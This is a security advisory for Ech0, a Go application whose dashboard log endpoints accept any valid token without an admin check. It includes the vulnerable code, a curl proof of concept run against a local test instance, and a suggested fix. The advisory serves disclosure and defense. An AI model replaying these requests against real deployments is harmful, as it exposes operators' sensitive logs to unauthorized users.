CVE-2026-79666

## Summary Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope. ## Impact Any valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks. ## Details The issue is caused by an authorization gap between route registration, handler logic, and the service layer. `internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware: ```go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { // Auth appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs()) } ``` `internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds: ```go func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{ Tail: tail, Level: ctx.Query("level"), Keyword: ctx.Query("keyword"), }) if err != nil { return res.Response{Err: err} } return res.Response{ Data: logs, Msg: "获取系统日志成功", } }) } ``` `internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check: ```go func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) { tail := query.Tail if tail <= 0 { tail = 200 } return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword) } ``` Affected endpoints: - `GET /api/system/logs` - `GET /api/system/logs/stream?token=...` - `GET /ws/system/logs?token=...` ## Proof of concept ### 1. Start the app ```bash docker run -d \ --name ech0 \ -p 6277:6277 \ -v /opt/ech0/data:/app/data \ -e JWT_SECRET="Hello Echos" \ sn0wl1n/ech0:latest ``` ### 2. Initialize an owner account and register a normal user ```bash curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass","email":"owner@example.com"}' curl -sS -X POST "http://127.0.0.1:6277/api/register" \ -H 'Content-Type: application/json' \ -d '{"username":"winky","password":"winkypass","email":"winky@example.com"}' ``` ### 3. Log in as the non-admin user and request the system log endpoint ```bash winky_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/login" \ -H 'Content-Type: application/json' \ -d '{"username":"winky","password":"winkypass"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) curl -sS "http://127.0.0.1:6277/api/system/logs" \ -H "Authorization: Bearer $winky_token" ``` Observed response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log` <img width="1073" height="183" alt="image" src="https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8" /> The same missing-authorization pattern also affects: - `GET /api/system/logs/stream?token=<non-admin-token>` - `GET /ws/system/logs?token=<non-admin-token>` ## Recommended fix Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer. Suggested change in `internal/router/dashboard.go`: ```go import ( "github.com/lin-snow/ech0/internal/handler" "github.com/lin-snow/ech0/internal/middleware" authModel "github.com/lin-snow/ech0/internal/model/auth" ) func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.GetSystemLogs(), ) appRouterGroup.AuthRouterGroup.GET( "/system/logs/stream", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.SSESubscribeSystemLogs(), ) appRouterGroup.WSRouterGroup.GET( "/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.WSSubscribeSystemLogs(), ) } ``` Suggested defense-in-depth change in the service layer: ```go func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) { if err := s.ensureAdmin(ctx); err != nil { return nil, err } tail := query.Tail if tail <= 0 { tail = 200 } return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword) } ```

Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.